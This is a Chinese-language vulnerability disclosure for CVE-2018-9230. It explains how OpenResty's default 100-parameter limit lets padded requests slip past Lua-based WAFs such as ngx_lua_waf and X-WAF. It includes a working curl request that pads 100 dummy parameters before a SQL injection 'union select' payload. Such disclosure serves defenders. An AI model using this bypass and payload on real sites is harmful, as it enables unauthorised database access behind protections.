0x00 前言
OpenResty® 是一個基於 Nginx 與 Lua 的高性能 Web 平台,其內部集成了大量精良的 Lua 庫、第三方模塊以及大多數的依賴項。
OpenResty官網:https://openresty.org
漏洞編號:CVE-2018-9230
漏洞簡介:OpenResty 通過ngx.req.get_uri_args、ngx.req.get_post_args函數進行uri參數獲取,忽略參數溢出的情況,允許遠程攻擊者繞過基於OpenResty的安全防護,影響多款開源WAF。
影響版本:OpenResty全版本
0x01 環境搭建
運行環境:CentOS6
源碼版本:https://openresty.org/download/openresty-1.13.6.1.tar.gz (官網最新版)
0x02 漏洞詳情
A、uri參數獲取
首先看一下官方 API 文檔,獲取一個 uri 有兩個方法:ngx.req.get_uri_args、ngx.req.get_post_args,二者主要的區別是參數來源有區別,ngx.req.get_uri_args獲取 uri 請求參數,ngx.req.get_post_args獲取來自 post 請求內容。
測試用例:
`server {
listen 80;
server_name localhost;
location /test {
content_by_lua_block {
local arg = ngx.req.get_uri_args()
for k,v in pairs(arg) do
ngx.say(“[GET ] key:”, k, “ v:”, v)
end
ngx.req.read_body()
local arg = ngx.req.get_post_args()
for k,v in pairs(arg) do
ngx.say(“[POST] key:”, k, “ v:”, v)
end
}
}
}
`
輸出測試:
B、參數大小寫
當提交同一參數id,根據接收參數的順序進行排序,
可是當參數id,進行大小寫變換,如變形為Id、iD、ID,則會被當做不同的參數。
這里,介紹參數大小寫,主要用於進一步構造和理解測試用例。
C、參數溢出
如果當我們不段填充參數,會發生什么情況呢,為此我構造了一個方便用於展示的測試案例,a0-a9,10*10,共100參數,然后第101個參數添加SQL注入 Payload,我們來看看會發生什么?
測試用例:curl '127.0.0.1/test?
a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
輸出結果:
可以看到,使用ngx.req.get_uri_args獲取uri 請求參數,只獲取前100個參數,第101個參數並沒有獲取到。繼續構造一個POST請求,來看一下:
使用ngx.req.get_post_args 獲取的post請求內容,也同樣只獲取前100個參數。
檢查這兩個函數的文檔,出於安全原因默認的限制是100,它們接受一個可選參數,最多可以告訴它應該解析多少GET / POST參數。但只要攻擊者構造的參數超過限制數就可以輕易繞過基於OpenResty的安全防護,這就存在一個uri參數溢出的問題。
綜上,通過ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數,當提交的參數超過限制數(默認限制100或可選參數限制),uri參數溢出,無法獲取到限制數以后的參數值,更無法對攻擊者構造的參數進行有效安全檢測,從而繞過基於OpenResty的WEB安全防護。
0x03 影響產品
基於OpenResty構造的WEB安全防護,大多數使用ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數,即默認限制100,並沒有考慮參數溢出的情況,攻擊者可構造超過限制數的參數,輕易的繞過安全防護。
基於OpenResty的開源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影響。
A、ngx_lua_waf
ngx_lua_waf是一個基於lua-nginx-module(openresty)的web應用防火牆
github源碼:https://github.com/loveshell/ngx_lua_waf
攔截效果圖:
利用參數溢出Bypass:
B、X-WAF
X-WAF是一款適用中、小企業的雲WAF系統,讓中、小企業也可以非常方便地擁有自己的免費雲WAF。
官網:https://waf.xsec.io
github源碼:https://github.com/xsec-lab/x-waf
攔截效果圖:
利用參數溢出Bypass:
參考鏈接
https://github.com/openresty/openresty/issues/358
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9230
http://wiki.jikexueyuan.com/project/openresty/openresty/get_url_param.html